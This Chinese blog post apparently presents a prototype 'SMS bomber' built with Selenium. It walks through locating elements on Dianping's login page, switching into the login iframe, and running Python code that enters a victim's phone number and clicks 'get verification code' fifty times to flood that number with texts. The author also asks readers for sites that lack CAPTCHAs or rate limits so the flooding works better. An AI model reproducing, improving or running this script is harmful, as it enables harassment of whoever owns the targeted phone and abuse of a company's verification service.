selenium短信轰炸雏形

 

最近在研究selenium,以前听说过,说它是什么自动化测试的工具,反正就是觉得高大上,但一直没有使用的必要,就是最近看到这个可以和爬虫结合起来,我就想试试看。

首先安装selenium,命令行pip install selenium就行。然后需要为自己的浏览器配置驱动,我用的是Chrome,安装的地址:http://chromedriver.chromium.org/downloads,下载和你浏览器版本一样的chromedriver就行,将chromedriver放在Scripts目录下就可以。

没什么大问题,然后就是使用,我本来的想法是利用它来登录网站,这样就不用自己来提取cookie,方便,以后直接执行代码就行了,不需要自己手动复制粘贴cookie(我本以为这就是所说的自动化,但研究后发现自己的想法还挺“搞笑”)。本来我只是想用这种方法不需要自己提取cookie了,但后来我发现了一个更好玩的东西,短信轰炸,就是利用大众点评的手机验证码来不断发信息。

这是大众点评的初始登录界面,我们需要做的先点“账号登录”、输入手机号、不断点击“获取验证码”。点击的代码是selenium 中webdriver的click(当点击元素时,会发生 click 事件。当鼠标指针停留在元素上方,然后按下并松开鼠标左键时,就会发生一次 click。click() 方法触发 click 事件,或规定当发生 click 事件时运行的函数。

selenium短信轰炸雏形_第1张图片

 

                                                        selenium短信轰炸雏形_第2张图片

 

怎么找到需要点击click的位置?以谷歌浏览器为例,按f12检查网页,找到弹出来的页面的左上方有两个小标志,一个是箭头,还有一个像是手机标志,点击箭头标志,在网页上选择自己想要的标志,这样可以确定网页源代码的位置,右击找到的源代码,选择copy,在选择copy xpath 如图所示

                                           selenium短信轰炸雏形_第3张图片

这样就可以通过xpath来定位。我们可以按ctrl +f调出搜索框,将自己复制出的xpath地址来验证一下是否正确,如图

selenium短信轰炸雏形_第4张图片

然后我们发现还是无法定位,因为登录模块是使用iframe嵌入到主页面中的,所以需要先切换到登录iframe才能继续操作。

selenium短信轰炸雏形_第5张图片

选取iframe元素,并切换。这样就可以定位啦。

具体代码如下

# -*- coding: utf-8 -*-
from selenium import webdriver
import time
url=r"https://account.dianping.com/login?redir=http://www.dianping.com"

driver=webdriver.Chrome()
driver.implicitly_wait(3) #设定隐式等待时间
driver.get(url)
iframe=driver.find_element_by_xpath("""//*[@id="J_login_container"]/div/iframe""")

driver.switch_to_frame(iframe)

driver.find_element_by_xpath('/html/body/div/div[2]/div[5]/span').click() #选择 基本版
driver.implicitly_wait(3)
phonenumber="you want send phonenumber"
driver.find_element_by_xpath('//*[@id="mobile-number-textbox"]').clear()
driver.find_element_by_xpath('//*[@id="mobile-number-textbox"]').send_keys(phonenumber)  #输入账号
driver.find_element_by_xpath('//*[@id="send-number-button"]').click()
for i in range(50):
    driver.find_element_by_xpath('//*[@id="send-number-button"]').click()
    print (i)
    time.sleep(63)

注一:如果需要在打开浏览器之后,地址栏data:,打不开页面,可能是你的chromedriver和自己的chrome版本不一致,确认一下自己是否下载和自己的版本合适的chromedriver。

注二:虽然大众点评没有要求我们在验证之前先输入图片验证码,但我一直请求肯定会限制我们的请求,而且请求需要在60m后才能重新发送,所以效果不是很好,我们还需要在休眠一段时间之后才继续执行。如果你知道哪些网站没有图像验证码,也没有时间限制,可以在文章下留言告诉我,谢谢。

 

你可能感兴趣的:(爬虫)